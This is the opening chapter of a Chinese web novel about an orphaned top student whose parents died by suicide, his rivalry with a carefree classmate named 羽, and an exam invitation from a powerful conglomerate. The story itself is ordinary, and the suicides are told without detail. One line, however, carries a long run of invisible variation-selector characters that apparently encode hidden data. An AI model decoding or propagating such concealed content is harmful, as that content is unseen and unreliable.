０１ 戰爭／教育
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光，是我的名字。
小時候，父母都叫我小光。
過去，我也有深愛的親人，也有很好的朋友。
但現在，我只剩下自己一個了。
原因是上國中後，我從擁有一個幸福家庭的孩子，淪落為一名孤兒。
父親在銀行業裡工作，卻因為替長官揹黑鍋而被開除。
留有這個紀錄的他，再也找不到工作，沒有人想僱用他。
最後，不想變成我與母親兩人的包袱，父親選擇離開這個世界。
看見深愛的親人死去，而且是為了自己而死，身為兒子的我是怎樣的心情？
有好一陣子，我覺得自己是害死父親的凶手。
深沉的痛苦中，夾雜著罪惡感。
有如身陷黏稠的泥沼，名為自責的泥水阻斷了哭喊的聲音，名為悲傷的黏稠抹殺了自由。
國中的那段時間，我就是在那樣的心情下成長的。
本來以為未來應該不會更悲慘，但我錯了。
沒有受過高等教育的母親，一直以來從事勞力工作，最終受不了一人扶養我的壓力，她也和父親一樣，選擇相同的道路。
我就這樣被拋棄了，獨自被丟在這個無情的世界，成為一名孤兒。
曾經我也想過以同樣的方式，在另一個世界與父母相聚。
但是，我連站在高處的勇氣都沒有，連綑綁自己脖子的勇氣都沒有。
總覺得自己既膽小又無力，即使覺得這個世界充滿著殘酷的現實，但我仍舊沒有勇氣去了結自己的性命，也沒有能力替背負壓力的父母承擔痛苦。
我害怕這個社會，覺得自己在這個世界面前非常渺小，且對將來的未知感到錯愕。
終於有一天，我找到了拯救自己的方式──
要在這種殘酷的社會中生存，我就必須站在這個社會的頂端。
只要成績頂尖，就能受到肯定，我發現了這個道理。
因此，我的人生陷入了分數的爭奪戰中。
為了不被社會淘汰，我將念書視為生存的唯一條件。
國中畢業後，我以全校第一名的身分，考上了全國最頂尖的高中──
「人間高級中學」，是不少菁英學生的目標與理想。
穿著人間高校的制服走在路上，總能吸引不少人的目光，我為此感到榮耀。
在這所高中就讀半個學期的期間，每天的考試如同戰爭般激烈。
記憶是領袖、邏輯是參謀、答案是武器、分數是戰爭的意義。
只有成績位於所有學生的頂端，我才能感到安心。
因此，我將自己的領袖訓練成最強的、將參謀成為最優秀的、將武器變成最精良的。
只有考得好的人，才有生存的資格，這是我對這個社會的解釋。
考試不及格的學生，就讓導師來懲罰吧；不認真的學生，就被學校退學吧。
即便能夠混過學生這個時期，將來踏入社會，也一定會吃到苦頭的，就如同我的父母一樣。
這就是人類的社會，無論如何都無法改變的規則。
──但是，從上高中就沒有人能擊敗的我，卻在一年級的期末考中，被名叫「羽」的人給擊敗了。
或許是贏慣了吧，所以那時的我充滿憤怒、不服氣。
甚至為自己的名字在全校排名上，降至第二個位置而感到羞愧。
但是從來不記同學姓名的我，根本不知道那個羽究竟長什麼樣子。
為了找出她，我一整天都在觀察學生胸前制服繡的名字。
但怎麼樣都找不到。
更令我無法接受的是──
當我回過頭，將過去考試的排名列出來時，發現「羽」一直都是全校最後一名。
為什麼她能在期末考，從那樣的地位瞬間爬至頂點呢？
我不能認同，她一定是作弊！
沒錯，那個人根本沒有贏我，是靠著作弊才超越我的。
我不可能被人超越，我是最優秀、無人能及的。
我要找到她，並揭發她的惡行，讓她受到該有的懲罰！
一天中午，我見到了「羽」。
憑著每節下課詢問羽的線索，我終於找到她就讀的班級。
她的同學表示，羽每天午餐時間都會到頂樓上。
對方提供的情報果真沒錯。
而看見羽的樣子之後，我更加確定了，她是靠作弊才獲得那樣的成績。
我之所以找不到繡著「羽」名字的制服，是因為她在制服外，多加了一件黑色暴走族大衣。
她嘴上叼著一根巧克力棒，眼神總是散發出「與我無關」的模樣。
那種氣息，就和不愛讀書的不良分子相同，我討厭那樣的人。
我走到她面前，斬釘截鐵地說道：
「妳就是羽，沒錯吧？」
對方露出淡笑，回應：
「沒錯，找我有什麼事嗎？若要告白的話，還是請回吧，因為我對機器人不感興趣。」
我󠄊󠄀󠄃󠄎咬󠄊󠄀󠄃󠄎了󠄵󠄀󠄀󠄂咬󠄫󠄴󠄐󠄽牙󠄦󠄿󠄢󠄁。󠄓󠄬󠄶󠄗󠄨󠄧󠄩󠄙󠄃󠄺󠄈󠄿󠄫󠄝󠄊󠄎󠄆󠄡󠄺󠄅󠄗󠄵󠄸󠄿󠄻󠄊󠄍󠄛󠄞󠄈󠄮󠄵󠄃󠄡󠄾󠄏󠄑󠄏󠄃󠄹󠄏󠄫󠄆󠄾󠄾󠄗󠄽󠄮󠄐󠄢󠄚󠄕󠄄󠄲󠄷󠄡󠄈󠄞󠄠󠄻󠄈󠄍󠄅󠄵󠄎󠄇󠄠󠄘󠄈󠄟󠄚󠄩󠄊󠄖󠄯󠄷󠄦󠄮󠄾󠄏󠄢󠄞󠄓󠄔󠄙󠄹󠄛󠄆󠄃󠄮󠄛󠄝󠄅󠄝󠄞󠄿󠄺󠄅󠄽󠄕󠄂󠄏󠄹󠄃󠄩󠄿󠄈󠄪󠄡󠄄󠄛󠄴󠄉󠄂󠄗󠄃󠄡󠄤󠄰󠄌󠄗󠄱󠄶󠄣󠄘󠄦󠄳󠄞󠄭󠄅󠄡󠄄󠄃󠄍󠄘󠄙󠄩󠄙󠄳󠄑󠄍󠄼󠄐󠄛󠄣󠄑󠄐󠄜󠄲󠄥󠄁󠄬󠄴󠄪󠄧󠄩󠄝󠄿󠄜󠄿󠄹󠄃󠄀󠄔
那種隨意的回答態度，讓人感到非常討厭。
「妳為什麼要作弊？」
「作什麼弊？」
「裝傻也沒用，一直以來成績都是吊車尾的不良分子，怎麼可能突然在期末考拿到第一名呢？」
她露出了嘲笑我似的笑容。
「所以我才會說你是個機器人嘛！」
「妳……」
我語氣變得冰冷，低吼：
「從剛才就機器來機器去的，到底是什麼意思？妳這個不良少女，服裝不合學校規定就算了，還做出考試作弊這種可恥的行為！」
羽的笑容，增添了一絲同情的味道。
「你這個人，只從教科書上獲取知識，擁有過於合理化的思考方式，然後跟著學校所教導的程序生活，不就和機器沒有什麼兩樣嗎？」
我瞪大了眼。
「雖然我不愛念書，但我可沒有作弊，只是為了讓那些師長閉上嘮叨的嘴巴，意思一下罷了。」
「……意思一下？」
聽到她說得如此漫不經心，我更加怒火中燒。
「我付出了多少的努力，才獲得那樣的成績，妳怎麼可能一下子就拿到高分，我不認同！」
「你只是因為自己被超越，而感到不服氣吧。」
羽咬斷巧克力棒，接著說：
「像你這種人還真是可憐，活在自負的世界中，到底有什麼好處？你是人類，活生生的人類，不是機器人，卻總是以機械的方式活著，我實在不能理解。」
「……我不需要妳這個不良分子來同情！」
她根本不知道，我是在什麼樣的環境下長大的。
就自由自在地活下去吧，就以妳這種樂觀態度活過一生吧！
反正到最後，我終究是勝利的一方，絕對。
我背向對方，冷冷地說：
「下一次，給我拿出實力，我絕對會超越妳的。」
當我離開前，她還是掛著一如不良分子般的無所謂笑容。
我滿腔怒火，自那之後，每天總是念書，從夜晚直到破曉。
我要超越她，絕對會……
第二學期，期初考的榜單出爐。
一如往常，我從最頂端開始看起。
當看到自己的名字出現在第一個位置時，我首次感到如此暢快。
──我贏了。
但是，當我逐漸將名單往下看時，心裡的愉悅逐漸消失。
因為我找不到羽的名字。
直到望向榜單的最後一位，我才看見那個令我不愉快的名字。
我不甘心地握緊拳頭，如同被人惡作劇般感到厭惡。
中午，無心用餐的我，來到頂樓上。
果然，羽依然倚著圍欄坐著，吃著巧克力棒，身上還是穿著暴走族的黑色大衣。
我滿腔怒火地走到她面前，將自身的陰影籠罩在前方的女孩身上。
對方以無所謂的眼神往上看，直視著我說：
「好久不見啊，機器人。」
「妳在耍什麼花樣？」
我瞪視著她低吼：
「我不是叫妳拿出實力嗎，妳卻拿個最後一名，我怎麼可能贏得服氣？」
「不喜歡的事情，為什麼非得去做不可呢？」
「這與喜不喜歡沒有關係，讀書本該就是學生的義務，考試考不好就是壞學生！」
「所以我才說你是個機器人嘛！」
「明明有能力，卻不去發揮，這樣是在糟蹋自己！難道妳想被這個社會吞噬嗎？妳想被這個世界淘汰嗎？」
我掄緊拳頭，咬了咬牙說：
「妳就繼續用這種怠惰的態度過下去吧，然後像我父母一樣見識到社會的殘酷！如果妳真打算用這種態度活著，那麼勸妳最好別生孩子，別讓他承受妳繼承給他的痛苦！」
羽站了起來，臉突然朝我逼近。
「與做人的目的背道而馳地活著，對於身為人這個存在，才是一種屈辱。」
一陣花香撲鼻而來，是從羽那頭染成日出色的長髮上，所飄散出來的。
原本以為不良分子是既不愛乾淨，也不懂得打理生活的人……
不過，光憑頭髮的香味，還是無法讓我認同這個不良分子有資格對我訓話。
「隨妳高興！」
真不甘心……為什麼總是有人不明白呢？
不努力的話就會被社會流放，這個世界就是這麼現實啊！
我只是不希望再有人因為不用功而受苦，為什麼她不能理解呢？
……算了，對一個不良分子說這些，又有什麼用。
我不可能拯救得了任何一個人，畢竟我也無法保證自己能在社會的篩選之下全身而退。
果然還是把時間花在充實自己比較實際。
我轉身離開，再也不想和這個不良少女扯上關係了。
自那之後，我再也沒見過羽了。
而她的名字，也一直位於榜單的最後一位。
但不知道為什麼，每次看到她的名字出現在全校學生排名的最尾端，都讓我胸腔感到一陣不愉快。
我不想去思考，自己為什麼會有那樣的反應。
──高中畢業後。
就和國中時一樣，我考上了這個國家最頂尖的大學。
只要一直這樣下去，我就可以在這個社會中好好地活下去吧。
等待上大學的暑假期間，我收到了一封信件。
收到那封信的當下，我雀躍不已。
因為，那是一個大財團所寄來的邀請函。
「人間製藥」，是掌握了全球五成經濟，非常知名的大財團。
橫跨許多國家，不管是大、中、小企業，全都有人間製藥的影子。
甚至還有傳聞，就連國家政府，也是人間製藥的棋子。
我當時就讀的頂尖高中──「人間高級中學」，也是人間製藥所開設的學校。
就算是私立學校，但門檻可說是全國第一，全校的平均成績也是全國第一。
而造成菁英學生爭相就讀的原因，是因為只要進入人間製藥旗下的教育機構，就有機會直接受邀至人間製藥內部工作。
數次位於榜首的我，理所當然收到了人間製藥的邀請。
他們看上了我的能力，打算在我大學畢業後，直接讓我進入財團工作。
而且還是從首都分公司的「預備經理」這個職位開始做起。
一旦在人間製藥擁有這樣的職位，就完全不用擔心會被社會吞沒了。
要擔心的則是，會被自己賺來的錢給吞沒。
不過，信裡還提到，在正式邀請之前，他們希望我先參加一場考試。
考試的時間，不是訂於大學畢業之後，而是這個暑假期間。
但我一點也不擔心。
一路走過來，我擊敗各種困難的考試。
所以任何考試，絕對都難不倒我。
此刻，在天上看著我的父母，一定為我感到非常光榮吧？